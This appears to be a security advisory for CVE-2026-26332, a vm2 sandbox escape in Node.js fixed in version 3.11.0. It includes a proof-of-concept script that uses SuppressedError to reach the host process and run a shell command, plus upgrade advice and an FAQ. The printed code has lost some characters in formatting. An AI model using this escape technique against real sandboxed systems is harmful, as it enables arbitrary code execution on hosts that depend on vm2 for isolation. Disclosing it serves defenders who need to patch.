CVE-2026-26332: vm2: Sandbox Escape
In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.
PoC js const { VM } = require("vm2");
const vm = new VM();
vm.run( const ds = new DisposableStack(); ds.defer(() => { throw null; }); ds.defer(() => { const e = Error(); e.name = Symbol(); e.stack; }); try { ds.dispose(); } catch(e) { const Function = e.suppressed.constructor.constructor; const process = new Function("return process;")(); const { execSync } = process.mainModule.require("node:childprocess"); execSync("echo pwned", { stdio: "inherit" }); } );
Other sources
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/vm2to a version that resolves this vulnerability.Fixed in 3.11.0 - Upgrade
Upgrade
vm2to a version that resolves this vulnerability.Fixed in 3.11.0
Event History
Frequently Asked Questions
What is the severity of CVE-2026-26332?
CVE-2026-26332 is considered a critical vulnerability due to its potential for arbitrary code execution.
How do I fix CVE-2026-26332?
To fix CVE-2026-26332, upgrade the vm2 package to version 3.11.0 or later.
Which versions of vm2 are affected by CVE-2026-26332?
CVE-2026-26332 affects vm2 versions up to and including 3.10.4.
What does CVE-2026-26332 allow an attacker to do?
CVE-2026-26332 allows an attacker to escape the sandbox and execute arbitrary code.
Where can I find more information about CVE-2026-26332?
More information about CVE-2026-26332 can be found in the security advisories for the vm2 package.